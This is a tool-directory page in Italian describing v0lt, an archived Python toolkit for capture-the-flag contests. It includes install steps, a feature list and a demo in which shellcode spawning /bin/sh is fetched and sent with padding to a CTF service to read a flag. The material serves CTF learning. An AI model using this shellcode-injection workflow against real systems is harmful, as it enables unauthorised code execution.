Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
v0lt — Kit di strumenti CTF per la sicurezza (Non più mantenuto) | Kitploit
Strumenti/GitHubGitHub/p1kachu/v0lt
Generazione di PayloadExploitScripting e AutomazioneShellcodeCrittografiaCTFPenetration TestingApprendimento e FormazioneBinary ExploitationArchived
GitHubp1kachu/v0lt

v0lt

Kit di strumenti CTF per la sicurezza (Non più mantenuto)

3701018 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

v0lt

v0lt

Rawsec's CyberSecurity Inventory

v0lt è un tentativo di raggruppare ogni strumento che ho usato/uso/userò nei CTF di sicurezza, in stile Python. Molti esercizi sono stati risolti usando script bash, ma Python può essere più flessibile, ecco perché. Non ha nulla a che fare con Gallopsled. È un kit di strumenti giocattolo, con solo utility piccole ma specifiche.

Questo progetto non è più mantenuto, dato che le utility stesse sono abbastanza piccole da funzionare quasi sempre senza bisogno di manutenzione. Sentiti comunque libero di inviare PR se vuoi :)

Requisiti e Installazione

Dipendenze:

  • Libmagic
  • Python3
    • BeautifulSoup
    • Requests
    • filemagic
    • hexdump
    • passlib

Installazione:

root@kitploit:~
# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies

Demo: Shellcodes

root@kitploit:~
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

Implementato:

  • Crypto

    • Base64
    • Spostamento di Cesare
    • Funzioni di hashing (SHA, MD5)
    • Manipolazioni di bit (XOR, XOR inverso)
    • Conversioni usuali (byte, stringhe, hex)
    • Basi di RSA (modulo inverso, potenza inversa, egcd...)
    • Bruteforcing (Dizionario, parola personalizzata)
  • Shellcodes

    • Selezione e download di shellcode dal repository Shell-storm
    • Formattatore di shellcode
    • Shell{cat,net}: Inviare shellcode reso facile
    • Padding automatico
  • Supporto per connessioni facili

    • Netcat
    • Telnet
  • Risoluzione

    • Bruteforcer per conteggio istruzioni

E altro Gli esempi sono disponibili qui

Scarica lo strumento